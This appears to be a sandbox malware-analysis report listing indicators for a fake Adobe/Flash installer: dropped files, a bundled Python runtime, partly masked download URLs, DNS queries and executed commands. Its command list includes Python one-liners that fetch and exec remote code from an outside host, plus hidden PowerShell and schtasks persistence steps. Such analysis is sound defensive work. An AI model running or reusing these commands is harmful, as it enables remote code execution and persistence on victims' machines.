Technical Information
- <SYSTEM32>\tasks\system_settings
- <SYSTEM32>\tasks\system_test
- <SYSTEM32>\tasks\system_cdaemon
- nul
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\fc_beta_header_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\bg10.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\bg11.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\bg20.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-minimize-default0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-minimize-press0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-minimize-process0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-minimize-null0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-minimize-default1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-minimize-press1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-minimize-process1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-minimize-null1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-close-press0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\slogan-c1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-close-process0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-close-null0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-close-default1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-close-press1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-close-process1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-close-null1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\loading0.gif
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\loading1.gif
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\slogan-e0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\slogan-c0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\slogan-t0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\slogan-e1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\fc_beta_header_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-close-default0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\close_btn_grey_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_disable_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\min_btn_disable_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\cls_btn_normal_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\cls_btn_hover_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\cls_btn_press_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\cls_btn_disable_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\cls_btn_normal_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\cls_btn_hover_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\cls_btn_press_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\cls_btn_disable_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_normal_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_hover_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_press_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_normal_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\loading_200.gif
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_hover_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_press_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_disable_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_big_normal_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_big_hover_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_big_press_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_big_disable_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_big_normal_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_big_hover_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_big_press_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_btn_big_disable_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\loading.gif
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\close_btn_grey_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\slogan-t1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-install-default0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-install-press0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner2-c0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner3-c0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar-bg1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar-active1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner1-e1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner2-e1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner3-e1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner1-c1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner2-c1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner3-c1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\bg21.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner3-e0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner1-c0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner1-t0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner1-t1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner2-t1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner3-t1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\install-complete-en-0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\install-complete-en-1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\install-complete-cn-0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\install-complete-cn-1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\customize-line-0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\customize-line-1.png
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\sc[1]
- %TEMP%\adobe_cdmlogs\adobe_gde.log
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner2-t0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner3-t0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner2-e0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\banner1-e0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar-active0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-install-disabled0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-install-default1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-install-press1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-install-process1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-install-disabled1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-customize0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-fold0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-customize1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-fold1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\checked0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\unchecked0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\checked1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn-install-process0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\unchecked1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\button-exit-press0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\button-exit-hover0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\button-continue-default0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\button-continue-press0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\button-continue-hover0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\button-exit-default1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\button-exit-press1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\button-exit-hover1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\button-continue-default1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\button-continue-press1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\button-continue-hover1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar-bg0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\button-exit-default0.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\min_btn_press_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\19df8061-77ba-46c7-9ddf-ef3c96af1124\50ff8a68-e509-42ff-9bef-7a452a397355.aamdownload
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\min_btn_hover_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\min_btn_disable_100.png
- C:\users\public\servicehub\_ssl.pyd
- C:\users\public\servicehub\watch_d.txt
- C:\users\public\servicehub\watch.txt
- %TEMP%\adobe_cdmlogs\adobe_cdm.log
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\bzjx5bke\160[1]
- C:\users\public\servicehub\daemon.txt
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\warning_icon.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\status_icon_caution_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\status_icon_caution_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\status_icon_caution_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\status_icon_caution_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\status_icon_x_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\status_icon_x_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\gray_button_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\status_icon_x_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\status_icon_check_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\status_icon_check_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\status_icon_check_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\status_icon_check_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_darkgray_base_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_darkgray_base_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_blue_active_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_blue_active_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_blue_active_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_blue_active_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\transparent.gif
- C:\users\public\servicehub\_sqlite3.pyd
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\status_icon_x_100.png
- C:\users\public\servicehub\_socket.pyd
- C:\users\public\servicehub\servicehub.host.clr.pkg
- C:\users\public\servicehub.zip
- C:\users\public\flash.exe
- C:\users\public\servicehub\libcrypto-1_1.dll
- C:\users\public\servicehub\libssl-1_1.dll
- C:\users\public\servicehub\license.txt
- C:\users\public\servicehub\pyexpat.pyd
- C:\users\public\servicehub\python3.dll
- C:\users\public\servicehub\python37.dll
- C:\users\public\servicehub\python37.zip
- C:\users\public\servicehub\python37._pth
- C:\users\public\servicehub\servicehub.host.clr.exe
- C:\users\public\servicehub\select.pyd
- C:\users\public\servicehub\sqlite3.dll
- C:\users\public\servicehub\_overlapped.pyd
- C:\users\public\servicehub\unicodedata.pyd
- C:\users\public\servicehub\vcruntime140.dll
- C:\users\public\servicehub\winsound.pyd
- C:\users\public\servicehub\_asyncio.pyd
- C:\users\public\servicehub\_bz2.pyd
- C:\users\public\servicehub\_ctypes.pyd
- C:\users\public\servicehub\_decimal.pyd
- C:\users\public\servicehub\_elementtree.pyd
- C:\users\public\servicehub\_hashlib.pyd
- C:\users\public\servicehub\_lzma.pyd
- C:\users\public\servicehub\_msi.pyd
- C:\users\public\servicehub\_multiprocessing.pyd
- C:\users\public\servicehub\_queue.pyd
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\close_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_pole_null_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_pole_null_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\close_button_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_active_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_active_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_active_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_active_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_darkgray_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_darkgray_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_darkgray_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_darkgray_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\logo_top_left_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\logo_top_left_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\close_button_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\close_button_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\logo_top_left_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_button_big_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_button_big_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\bg.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_button_min_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_button_min_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_button_cls_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_button_cls_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\warning_icon_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\min_btn_normal_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\min_btn_hover_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\min_btn_press_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_button_big_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_button_big_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\close_button_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_button_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_button_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_pole_null_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\yellow_button_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\yellow_button_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\yellow_button_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\yellow_button_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\yellow_button_mini_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\yellow_button_mini_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\yellow_button_mini_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\yellow_button_mini_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\yellow_button_short_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\yellow_button_short_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\yellow_button_short_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_pole_null_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\yellow_button_short_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\logo_top_left_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\btn1.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_pole_null.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_darkgray_base.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_active.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\xbutton.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_poll_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_poll_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_poll_150.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\progressbar_poll_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_button_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\blue_button_125.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\info_icon_100.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\min_btn_normal_200.png
- %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\d5f48e33-0dc7-4e2f-8c3f-24842a038bbb\048abfe8-adb6-44cd-bcdc-4de259f0e50b.aamdownload
- <SYSTEM32>\tasks\system_test
- from %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\19df8061-77ba-46c7-9ddf-ef3c96af1124\50ff8a68-e509-42ff-9bef-7a452a397355.aamdownload to %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\19df8061-77ba-46c7-9ddf-ef3c96af1124\50ff8a68-e509-42ff-9bef-7a452a397355
- from %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\d5f48e33-0dc7-4e2f-8c3f-24842a038bbb\048abfe8-adb6-44cd-bcdc-4de259f0e50b.aamdownload to %LOCALAPPDATA%\adobe\cc5a7191-d2cd-4094-8507-d5373071f936\d5f48e33-0dc7-4e2f-8c3f-24842a038bbb\048abfe8-adb6-44cd-bcdc-4de259f0e50b
- http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/ServiceHub.zip
- http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt
- http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt
- http://stats.adobe.com/b/ss/adbacdcprod/1/H.25.4/s0718581455953?AQ###############################################################################################################################...
- DNS ASK ba##u.com
- DNS ASK fl############erver.oss-cn-hongkong.aliyuncs.com
- DNS ASK fl##h.cn
- DNS ASK ap#.#lash.cn
- DNS ASK fusionpings.adobe.com
- DNS ASK stats.adobe.com
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
- 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a
- 'C:\users\public\flash.exe'
- 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a
- '<SYSTEM32>\ping.exe' baidu.com' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "C:\Users\Public\vc.exe /install /quiet /norestart"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null)...' (with hidden window)
- 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/c1222.txt\')).read().decode())')" a a' (with hidden window)
- 'C:\users\public\flash.exe' ' (with hidden window)
- 'C:\users\public\servicehub\servicehub.host.clr.exe' -c "exec('import urllib.request;exec(urllib.request.urlopen(urllib.request.Request(\'http://fl############erver.oss-cn-hongkong.aliyuncs.com/res/cdaemon.txt\')).read().decode())')" a a' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c "SCHTASKS /Run /TN SYSTEM_SETTINGS"' (with hidden window)
- '<SYSTEM32>\ping.exe' baidu.com
- '<SYSTEM32>\cmd.exe' /c "C:\Users\Public\vc.exe /install /quiet /norestart"
- '<SYSTEM32>\cmd.exe' /c "powershell.exe -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null)...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command $taskObject = New-Object -ComObject schedule.service; $taskObject.Connect(); $rootFolder = $taskObject.GetFolder(''); $taskdefinition = $taskObject.NewTask($null); $regInfo = $tas...
- '<SYSTEM32>\schtasks.exe' /Run /TN SYSTEM_SETTINGS
- '<SYSTEM32>\taskeng.exe' {FB234C79-B30C-4B5B-AEF3-3E5A5B3D137B} S-1-5-21-1960123792-2022915161-3775307078-1001:gpaxbxllpa\user:Interactive:[1]
- '<SYSTEM32>\schtasks.exe' /Run /TN SYSTEM_TEST
- '<SYSTEM32>\schtasks.exe' /DELETE /F /TN SYSTEM_TEST
- '<SYSTEM32>\schtasks.exe' /Run /TN SYSTEM_CDAEMON
- '%WINDIR%\syswow64\cmd.exe' /c "SCHTASKS /Run /TN SYSTEM_SETTINGS"
- '%WINDIR%\syswow64\schtasks.exe' /Run /TN SYSTEM_SETTINGS